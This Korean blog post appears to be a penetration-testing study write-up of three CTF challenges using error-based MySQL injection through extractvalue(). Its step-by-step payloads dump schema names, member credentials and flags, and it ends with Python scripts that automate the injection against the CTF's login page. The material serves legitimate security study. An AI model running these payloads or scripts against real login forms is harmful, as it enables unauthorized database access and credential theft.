순서
- CTF 풀이 (3문제)
- 파이썬 자동화 코드
◈ CTF: Error-Based SQL Injection
1) SQLi 포인트 찾기
∽
2) 에러를 출력할 함수 선택
∽
3) 공격 포맷 만들기
∽
4) DB 이름 출력
∽
5) 테이블 이름 출력
∽
6) 컬럼 이름
∽
7) 데이터 추출
♨ SQL Injection 3 ♨
이 세상은 에러 천지야..ㅠㅜ (문제에 써있었음)
제공된 계정: normaltic / 1234
< 흐름 >
login.php에 접속 -> 로그인 데이터를 POST방식으로 login.php에 전달
-> 로그인 성공 시 302 코드로 index.php에 리다이렉션
-> index.php 페이지 접근 -> 200코드로 index.php 페이지 응답.
㉮ SQL Injection 포인트 찾기
우선 에러 메시지를 출력하는지 확인하기 위해
normaltic' / 1234 를 입력해 로그인 시도.
SQL 에러 메시지가 출력되고 있음을 확인.
이 사이트에선 error-based sqli가 먹힐 수도 있음.
입력값이 쿼리로 인식되는지 확인하기 위해
normaltic' and '1'='1 / 1234를 입력.
입력 결과 로그인 성공함.
작은 따옴표 등을 쿼리문으로 인식하고 있음을 확인하여 다음 단계로 넘어감.
㉯ 에러 출력할 함수 선택
문법 에러 메시지에서 MySQL 을 사용하고 있음을 발견함.
로직 에러를 유발할 함수로 extractvalue함수 선택.
extractvalue함수의 기본 포맷은
extractvalue('xml문자', 'xml표현식') 임.
첫번째 인자에 임의의 문자 '1'를 넣고 두번째 인자에서 유효하지 않은 값을 넣어 의도적으로 XPATH 에러를 출력하도록 할 것임. 실행된 SELECT문은 XPATH 에러 메시지에 반환된 값을 노출시킬 것.
다음 단계로 넘어감.
㉰ 공격 포맷 만들기
서버의 sql 쿼리문의 조건절에
where id= '_____' 이 있다는 것은 확실함.
서버 쿼리의 문법에 맞춰 공격 포맷을 만들자면 아래와 같이 만들 수 있음.
normaltic' and extractvalue('1', concat(0x3a, (select _______))) and '1'='1
extractvalue의 두번째 인자에 0x3a (":"의 아스키코드 16진수 표현법)와 같은 유효하지 않은 기호를 넣어 로직에러를 유발한다.
(0x3a와 select의 결과를 연결하기 위해 concat함수를 사용한다.)
(근데 앞에 normaltic은 안 써도 될 듯)
select문이 제대로 작동하는지 확인하기 위해
normaltic' and extractvalue('1', concat(0x3a, (select "test"))) and '1'='1
넣어 결과를 확인해본다.
잘 작동하는 걸 확인함.
이제 다음 단계로 넘어감.
㉱ DB 이름 찾기
DB이름 찾는 쿼리:
select database()
공격 포맷:
normaltic' and extractvalue('1', concat(0x3a, (select _______))) and '1'='1
페이로드:
normaltic' and extractvalue('1', concat(0x3a, (select database()))) and '1'='1
결과: sqli_2 라는 db를 찾아냄.
DB이름: sqli_2
(근데 뭔가 쎄함. 이 DB 아닐 것 같음.)
㉲ 테이블 이름 찾기
테이블 이름 찾는 쿼리:
select table_name from information_schema.tables where table_schema = 'sqli_2'
공격 포맷:
normaltic' and extractvalue('1', concat(0x3a, (select ________))) and '1'='1
페이로드:
normaltic' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema = 'sqli_2' limit 0,1))) and '1'='1
=> limit 추가함.
실행 결과:
sqli_2 -> flag_table, member
㉳ 컬럼 이름 찾기
1) flag_table
컬럼 이름 찾는 쿼리:
select column_name from information_schema.columns where table_name = 'flag_table'
공격 포맷:
normaltic' and extractvalue('1', concat(0x3a, (select ______))) and '1'='1
페이로드:
normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name = 'flag_table' limit 0,1))) and '1'='1 -> limit 추가함
두번째 컬럼 없음(상당히 쎄함)
sqli_2 -> flag_table -> flag
2) member
컬럼 이름 찾는 쿼리:
select column_name from information_schema.columns where table_name = 'member'
공격 포맷:
normaltic' and extractvalue('1', concat(0x3a, (select ______))) and '1'='1
페이로드:
normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name = 'member' limit 0,1))) and '1'='1 -> limit 추가함
네번째 컬럼 없음. (limit 3,1 결과 없음)
sqli_2 -> member -> id, pass, name
㉴ 데이터 추출하기
데이터 추출하는 쿼리:
select 컬럼 from 테이블
공격 포맷:
normaltic' and extractvalue('1', concat(0x3a, (select _______))) and '1'='1
페이로드:
normaltic' and extractvalue('1', concat(0x3a, (select 컬럼 from 테이블 limit 0,1))) and '1'='1
1) flag_table의 flag 컬럼
normaltic' and extractvalue('1', concat(0x3a, (select flag from flag_table limit 0,1))) and '1'='1
______________플래그 발견.
? 왜 발견됨?
2) member의 id, pass, name 컬럼
normaltic' and extractvalue('1', concat(0x3a, (select concat(id, " + ", pass, " + ", name) from member limit 0,1))) and '1'='1
limit 2,1 없음. secret login에 해보려고 추출함...
(응 둘다 아니야~)
♨ SQL Injection 4 ♨
flag를 찾으세요!
제공된 계정: normaltic / 1234
한 테이블에 컬럼이 줠라 많은 경우
<흐름>
index페이지 요청 -> 302 로그인 페이지 응답
-> 로그인페이지에서 POST로 로그인 데이터 넘김
-> 성공 시 index.php로 302 리다이렉션
-> index.php 요청 -> 200 코드로 index.php 응답.
근데 이번엔 희한하게 로그인 성공 시 user name에 이메일이 표시된다.
㉮ SQL Injection 포인트 찾기
normaltic' and '1'='1 / 1234 입력
로그인 성공 -> 작은 따옴표를 쿼리문으로 인식함.
normaltic' / 1234 입력
MySQL 문법 에러 메시지 출력 -> error-based sqli가 가능할 수 있음
㉯ 에러 출력할 함수 선택
mysql을 사용하고 있음을 확인 -> 일단 extractvalue 함수 사용
㉰ 공격 포맷 만들기
normaltic' and extractvalue('1', concat(0x3a, (select _________))) and '1'='1
select문이 잘 실행되는지 확인하기 위해
normaltic' and extractvalue('1', concat(0x3a, (select 'test'))) and '1'='1
실행
잘 실행됨을 확인.
(너무 첫번째 문제랑 똑같은 흐름이라 쎄함)
㉱ DB 이름 찾기
DB이름 찾는 쿼리:
select database()
공격 포맷:
normaltic' and extractvalue('1', concat(0x3a, (select _______))) and '1'='1
페이로드:
normaltic' and extractvalue('1', concat(0x3a, (select database()))) and '1'='1
DB이름: sqli_2_1
㉲ 테이블 이름 찾기
테이블 이름 찾는 쿼리:
select table_name from information_schema.tables where table_schema = 'sqli_2_1'
공격 포맷:
normaltic' and extractvalue('1', concat(0x3a, (select ________))) and '1'='1
페이로드:
normaltic' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema = 'sqli_2_1' limit 0,1))) and '1'='1
=> limit 추가함.
sqli_2_1 -> flag_table, member
㉳ 컬럼 이름 찾기
1) flag_table
컬럼 이름 찾는 쿼리:
select column_name from information_schema.columns where table_name = 'flag_table'
공격 포맷:
normaltic' and extractvalue('1', concat(0x3a, (select ______))) and '1'='1
페이로드:
normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name = 'flag_table' limit 0,1))) and '1'='1 -> limit 추가함
확인 결과 flag1, 2, 3, 4, 5, 6, 7 테이블 발견.
자동화 해보라는 출제자의 의도가 느껴진다.
flag_table의 컬럼: flag1, flag2, flag3, flag4, flag5, flag6, flag7
2) member
컬럼 이름 찾는 쿼리:
select column_name from information_schema.columns where table_name = 'member
공격 포맷:
normaltic' and extractvalue('1', concat(0x3a, (select ______))) and '1'='1
페이로드:
normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name = 'member' limit 0,1))) and '1'='1 -> limit 추가함
확인 결과 id, pass, name, info 컬럼 발견.
member의 컬럼: id, pass, name, info
㉴ 데이터 추출하기
데이터 추출하는 쿼리:
select 컬럼 from 테이블
공격 포맷:
normaltic' and extractvalue('1', concat(0x3a, (select _______))) and '1'='1
페이로드:
normaltic' and extractvalue('1', concat(0x3a, (select 컬럼 from 테이블 limit 0,1))) and '1'='1
1) flag 테이블
normaltic' and extractvalue('1', concat(0x3a, (select concat(flag1, " - ", flag2, " - ", flag3, " - ", flag4, " - ", flag5, " - ", flag6, " - ", flag7) from flag_table limit 0,1))) and '1'='1
normaltic' and extractvalue('1', concat(0x3a, (select flag1 from flag_table limit 0,1))) and '1'='1
아하. 다 찾아서 이어야하는 듯??
normaltic' and extractvalue('1', concat(0x3a, (select concat(flag1, " - ", flag2, " - ", flag3, " - ", flag4, " - ", flag5, " - ", flag6, " - ", flag7) from flag_table limit 1,1))) and '1'='1
결과 안 나옴...하..파이썬...
flag1
normaltic' and extractvalue('1', concat(0x3a, (select group_concat(flag1 separator " - ") from flag_table))) and '1'='1
flag2
normaltic' and extractvalue('1', concat(0x3a, (select group_concat(flag2 separator " - ") from flag_table))) and '1'='1
=====> 결과: you_
flag3
normaltic' and extractvalue('1', concat(0x3a, (select group_concat(flag3 separator " - ") from flag_table))) and '1'='1
=====> 결과: must_ (뭐시여?!)
flag4
normaltic' and extractvalue('1', concat(0x3a, (select group_concat(flag4 separator " - ") from flag_table))) and '1'='1
=====> 결과: concat_ (뭐시여?!)
flag5
normaltic' and extractvalue('1', concat(0x3a, (select group_concat(flag5 separator " - ") from flag_table))) and '1'='1
=====> 결과: this_ (오호라)
flag6
normaltic' and extractvalue('1', concat(0x3a, (select group_concat(flag6 separator " - ") from flag_table))) and '1'='1
=====> 결과: string_ (오호라)
flag7
normaltic' and extractvalue('1', concat(0x3a, (select group_concat(flag7 separator " - ") from flag_table))) and '1'='1
=====> 결과: good
이게 끝이네...
여기까지 이은 결과: segfault{1you_must_concat_this_string_good
일단 이건 플래그 아님.
2) member
normaltic' and extractvalue('1', concat(0x3a, (select concat(id, " - ", pass, " - ", name, " - ", info) from member limit 0,1))) and '1'='1
결과: normaltic - 81dc9bdb52d04dc2003 (시크릿 로그인은 아직도 성공 모담...)
모든 테이블 이름 찾기
모든 테이블 이름 찾는 쿼리:
select table_name from information_schema.tables where table_schema not in ('information_schema', 'mysql')
공격 포맷:
normaltic' and extractvalue('1', concat(0x3a, (select _______))) and '1'='1
페이로드:
normaltic' and extractvalue('1', concat(0x3a, ( select group_concat(table_name separator " , ") from information_schema.tables where table_schema not in ('information_schema', 'mysql') ))) and '1'='1
결과: flag_table, member 엇....
헛쉬!! flag8이 있었숴!!!!!!
normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name = 'flag_table' limit 7,1))) and '1'='1
flag9는 ㄹㅇ 없음
flag8
normaltic' and extractvalue('1', concat(0x3a, (select group_concat(flag8 separator " - ") from flag_table))) and '1'='1
=====> 결과: job}
최종 플래그
segfault{1you_must_concat_this_string_good_job}
인 줄 알았는데 이게 아니라고?????
아 놔 1 빼도 아니고 _빼도 아님.
내가 글씨를 틀렸나....
flag1
normaltic' and extractvalue('1', concat(0x3a, (select group_concat(flag1 separator " - ") from flag_table))) and '1'='1
=====> 결과: ':segfault{1'
flag2
normaltic' and extractvalue('1', concat(0x3a, (select group_concat(flag2 separator " - ") from flag_table))) and '1'='1
=====> 결과: ':you_'
flag3
normaltic' and extractvalue('1', concat(0x3a, (select group_concat(flag3 separator " - ") from flag_table))) and '1'='1
=====> 결과: ':must_'
flag4
normaltic' and extractvalue('1', concat(0x3a, (select group_concat(flag4 separator " - ") from flag_table))) and '1'='1
=====> 결과: ':concat_'
flag5
normaltic' and extractvalue('1', concat(0x3a, (select group_concat(flag5 separator " - ") from flag_table))) and '1'='1
=====> 결과: ':this_'
flag6
normaltic' and extractvalue('1', concat(0x3a, (select group_concat(flag6 separator " - ") from flag_table))) and '1'='1
=====> 결과: ':string_'
flag7
normaltic' and extractvalue('1', concat(0x3a, (select group_concat(flag7 separator " - ") from flag_table))) and '1'='1
=====> 결과: ':good' (악)
flag8
normaltic' and extractvalue('1', concat(0x3a, (select group_concat(flag8 separator " - ") from flag_table))) and '1'='1
=====> 결과: ':job}'
최종 플래그
segfault{1you_must_concat_this_string_goodjob}
_________플래그 발견
♨ SQL Injection 5 ♨
Flag 찾으세요! 인내심을 가지세요! ㅋㅋㅋㅋ(무서운 말씀을)
제공된 계정: normaltic / 1234
한 컬럼에 row가 줠라 많은 경우
<흐름>
index페이지 요청 -> 302 로그인 페이지 응답
-> 로그인페이지에서 POST로 로그인 데이터 넘김
-> 성공 시 index.php로 302 리다이렉션
-> index.php 요청 -> 200 코드로 index.php 응답.
㉮ SQL Injection 포인트 찾기
normaltic' and '1'='1 / 1234
로그인 성공 -> 내가 입력한 작은 따옴표를 쿼리로 인식
normaltic' / 1234
MySQL 문법 에러 메시지 출력 -> error-based sqli 공격 가능성 있음
㉯ 에러 출력할 함수 선택
mysql 이라고 했기 때문에 일단 extractvalue 사용
㉰ 공격 포맷 만들기
normaltic' and extractvalue('1', concat(0x3a, (select _______))) and '1'='1
normaltic' and extractvalue('1', concat(0x3a, (select 'test'))) and '1'='1
실행 -> XPATH 에러 메시지 출력 ':test'
-> select 문 사용 가능 확인
㉱ DB 이름 찾기
DB이름 찾는 쿼리:
select database()
공격 포맷:
normaltic' and extractvalue('1', concat(0x3a, (select _______))) and '1'='1
페이로드:
normaltic' and extractvalue('1', concat(0x3a, (select database()))) and '1'='1
실행 결과: ':sqli_2_2'
DB이름: sqli_2_2
㉲ 테이블 이름 찾기
테이블 이름 찾는 쿼리:
select table_name from information_schema.tables where table_schema = 'sqli_2_2'
공격 포맷:
normaltic' and extractvalue('1', concat(0x3a, (select ________))) and '1'='1
페이로드:
normaltic' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema = 'sqli_2_2' limit 0,1))) and '1'='1
=> limit 추가함.
limit 0,1 결과: ':flagTable_this'
limit 1,1 결과: ':member'
limit 2,1 결과: 없음
sqli_2_2 의 테이블: flagTable_this, member
㉳ 컬럼 이름 찾기
컬럼 이름 찾는 쿼리:
select column_name from information_schema.columns where table_name = '테이블 이름'
공격 포맷:
normaltic' and extractvalue('1', concat(0x3a, (select ______))) and '1'='1
페이로드:
normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name = '테이블 이름' limit 0,1))) and '1'='1 -> limit 추가함
1) flagTable_this
normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name = 'flagTable_this' limit 0,1))) and '1'='1
limit 0,1 결과: ':idx'
limit 1,1 결과: ':flag'
limit 2,1 결과: 없음.
flagTable_this의 컬럼: idx, flag
2) member
normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name = 'member' limit 0,1))) and '1'='1
limit 0,1 결과: ':id'
limit 1,1 결과: ':pass'
limit 2,1 결과: ':name'
limit 3,1 결과: ':info'
limit 4,1 결과: 없음
member의 컬럼: id, pass, name, info
㉴ 데이터 추출하기
데이터 추출하는 쿼리:
select 컬럼 from 테이블
공격 포맷:
normaltic' and extractvalue('1', concat(0x3a, (select _______))) and '1'='1
페이로드:
normaltic' and extractvalue('1', concat(0x3a, (select 컬럼 from 테이블 limit 0,1))) and '1'='1
1) member
멤버부터 찾아야징
normaltic' and extractvalue('1', concat(0x3a, (select concat(id, " - ", pass, " - ", name, " - ", info) from member limit 0,1))) and '1'='1
limit 0,1 결과: ':normaltic - 81dc9bdb52d04dc2003'
limit 1,1 결과: 없음 (시크릿 로그인은 이런 식으로 푸는 게 아닌가..)
2) flagTable_this
normaltic' and extractvalue('1', concat(0x3a, (select group_concat(flag separator " - ") from flagTable_this))) and '1'='1
결과: ':hello - What are you looking fo'
모든 테이블 이름 찾기
모든 테이블 이름 찾는 쿼리:
select table_name from information_schema.tables where table_schema not in ('information_schema', 'mysql')
공격 포맷:
normaltic' and extractvalue('1', concat(0x3a, (select _______))) and '1'='1
페이로드:
normaltic' and extractvalue('1', concat(0x3a, ( select group_concat(table_name separator " , ") from information_schema.tables where table_schema not in ('information_schema', 'mysql') ))) and '1'='1
결과: ':flagTable_this , member' 아놔
모든 컬럼 이름 찾기
모든 컬럼 이름 찾는 쿼리:
select column_name from information_schema.columns where table_schema not in ('information_schema', 'mysql')
공격 포맷:
normaltic' and extractvalue('1', concat(0x3a, (select _______))) and '1'='1
페이로드:
normaltic' and extractvalue('1', concat(0x3a, (select group_concat(column_name separator " , ") from information_schema.columns where table_schema not in ('information_schema', 'mysql')))) and '1'='1
limit 결과: ':idx , flag , id , pass , name ,'
모든 DB 이름 찾기
모든 DB 이름 찾는 쿼리:
select group_concat(schema_name separator " , ") from information_schema.schemata where schema_name not in ('information_schema', 'mysql')
공격 포맷:
normaltic' and extractvalue('1', concat(0x3a, (select _______))) and '1'='1
페이로드:
normaltic' and extractvalue('1', concat(0x3a, (select group_concat(schema_name separator " , ") from information_schema.schemata where schema_name not in ('information_schema', 'mysql')))) and '1'='1
결과: ':sqli_2_2' 아아악
다시 데이터 추출
sqli_2_2 -> flagTable_this -> idx, flag
normaltic' and extractvalue('1', concat(0x3a, (select flag from flagTable_this limit 0,1))) and '1'='1
limit 0,1 결과: ':hello'
limit 1,1 결과: ':What are you looking for?'
limit 2,1 결과: ':hahahahaha' (아놔)
limit 3,1 결과: ':Funnnyyyyyyy' (버프 스위트로 갑니다.)
>>> 리피터에서 XPATH 문구 auto-scroll 설정하고 계속 <<<
.
.
(이번 CTF는 양아치로군)
.
.
limit 13,1 결과: 플래그 발견
_______플래그 발견
limit 16까지 있었다 ㅋㅋㅋㅋㅋㅋ
group_concat으론 한계가 있어서 잘렸었나봄. 이런 일도 있군.
♨ SQL Injection 6 ♨
Flag Find
제공된 계정: normaltic / 1234
에러 메시지 출력 안됨 -> Blind SQL Injection 과제에서 계속...
◈ Error-Based SQL Injection 파이썬으로 자동화하기
노말팀님이 시연하신 자동화 프로그램(파이썬) 로직
1) 터미널에서 파이썬 파일 실행
2) SQL 입력하라 함.
3) SELECT database() 입력
4) DB명 출력.
5) 또 터미널에서 파이썬 파일 실행
6) SQL 입력하라 함.
7) table이름 찾는 쿼리 (limit 안 씀)
8) table이름이 주루룩 출력.
파이썬 코드
import requests
url = "http://ctf2.segfaulthub.com:7777/sqli_2/login.php"
sql = input("SQL> ")
data = {
"UserId" : f"normaltic' and extractvalue('1', concat(0x3a, ({sql}))) and '1'='1",
"Password" : "1234",
"Submit" : "Login"
}
response = requests.post(url, data = data)
if "XPATH syntax error" in response.text:
resp = response.text
keyword = "XPATH syntax error: '"
start_index = resp.find(keyword) + len(keyword)
end_index = resp.find("\n", start_index)
result = resp[start_index:end_index]
print(result)
1. requests 라이브러리 불러오기
2. 요청 보낼 url 변수에 저장해두기
3. 입력받을 SQL 질의 저장하기
4. POST로 보낼 데이터 저장하기 (키-값 쌍)
5. POST로 요청 보내고, 받은 응답 변수에 저장하기
6. 응답 본문에 "XPATH syntax error"라는 텍스트가 있다면
응답 본문 변수에 저장하고 에러문에 출력될 DB데이터를 찾을 키워드 저장
7. 본문에서 키워드 찾아서 키워드 길이만큼 이동(?)하여 인덱스 지정
DB데이터 출력 끝낼 인덱스 지정
8. 응답 본문에서 >> XPATH syntax error : ' << 찾아서 줄바꿈 전까지 문자를 출력
실행한 모습
1) DB이름 찾기
VScode 환경에서 실행했다.
여기서 select database()라는 쿼리를 입력하고 엔터치면
DB명이 출력된다.
2) 테이블 이름 찾기
첫번째 테이블 결과
두번째 테이블 결과
세번째는 없음.
LIMIT 없이 실행했을 경우 키워드를 찾지 못해 종료된다.
이게 아쉽다!!!!!
-나도 LIMIT 없이 주루룩 뽑아줬으면 좋겠다!!!!! -
해서 limit에 for문을 적용시켜 페이로드에 저장하는 코드를 추가했다.
import requests
url = "http://ctf2.segfaulthub.com:7777/sqli_2/login.php"
sql = input("SQL> ")
for i in range(50) :
basic_sql = f"{sql} limit {i},1"
payload = f"normaltic' and extractvalue('1', concat(0x3a, ({basic_sql}))) and '1'='1"
data = {
"UserId" : payload,
"Password" : "1234",
"Submit" : "Login"
}
try:
response = requests.post(url, data = data)
if "XPATH syntax error" in response.text:
resp = response.text
keyword = "XPATH syntax error: '"
start_index = resp.find(keyword) + len(keyword)
end_index = resp.find("'", start_index)
result = resp[start_index:end_index]
if not result :
print("no more results.")
break
print(result)
else :
print("no more results.")
break
except requests.exceptions.RequestException as e :
print("Request Failed: ", e)
break
입력받은 sql에 limit을 붙이는데 이때 for문으로 limit의 행 인덱스를 증가시키고 있다.
이렇게 저장된 쿼리문을 페이로드에 포함시켜 저장한다.
for문에서 증가하는 limit에 맞춰 데이터를 출력하다가 응답 본문에 XPATH syntax error가 없으면 결과 없다는 문구를 출력시키며 프로그램을 종료한다.
여기서 아주 큰 문제가 생기는데!!! (얼쑤!)
결과 행이 하나면 이걸 50번 출력한다는 것이다.
50으로 수정하기 전엔 100이었다. 데이터베이스 이름을 100번 출력하고 쓰는 글이다...
그래서 수정한 게 첫번째 버전 + 두번째 버전이다.
기본적으로 첫번째 버전으로 수행되지만 응답 본문에 "XPATH 어쩌구"가 아니라 "Subquery returns more than 1 row"라는 텍스트가 있으면 두번째 버전으로 실행되도록 했다.
limit 안 써도 주루룩 버전 코드
import requests
url = "http://ctf2.segfaulthub.com:7777/sqli_2/login.php"
sql = input("SQL> ")
data = {
"UserId" : f"normaltic' and extractvalue('1', concat(0x3a, ({sql}))) and '1'='1",
"Password" : "1234",
"Submit" : "Login"
}
response = requests.post(url, data = data)
if "XPATH syntax error" in response.text:
resp = response.text
keyword = "XPATH syntax error: '"
start_index = resp.find(keyword) + len(keyword)
end_index = resp.find("\n", start_index)
result = resp[start_index:end_index]
print(result)
else :
if "Subquery returns more than 1 row" in response.text:
for i in range(0, 50) :
basic_sql = f"{sql} limit {i},1"
payload = f"normaltic' and extractvalue('1', concat(0x3a, ({basic_sql}))) and '1'='1"
data = {
"UserId" : payload,
"Password" : "1234",
"Submit" : "Login"
}
try:
response = requests.post(url, data = data)
if "XPATH syntax error" in response.text:
resp = response.text
keyword = "XPATH syntax error: '"
start_index = resp.find(keyword) + len(keyword)
end_index = resp.find("'", start_index)
result2 = resp[start_index:end_index]
print(result2)
else :
print("no more results.")
break
except requests.exceptions.RequestException as e :
print("Request Failed: ", e)
break
실행 결과
저게 최선의 코드일 거 같진 않지만
의도한 기능을 모두 수행하긴 한다. 후후
sql injection 5번의 행 데이터를 끝으로 이번 과제를 마친다.
'모의해킹 스터디 과제' 카테고리의 다른 글
모의해킹 스터디 11주차 과제: CTF - XSS로 데이터 추출 (0) | 2024.12.31 |
---|---|
모의해킹 스터디 7주차 과제(2): CTF - Blind SQLi (2) | 2024.12.08 |
모의해킹 스터디 6주차 과제: CTF - UNION SQL Injection (2) | 2024.11.29 |
모의해킹 스터디 5주차 과제: CTF - 로그인, 인증 우회 (0) | 2024.11.19 |
모의해킹 스터디 4주차 과제(1): 자바 스크립트 (1) | 2024.11.11 |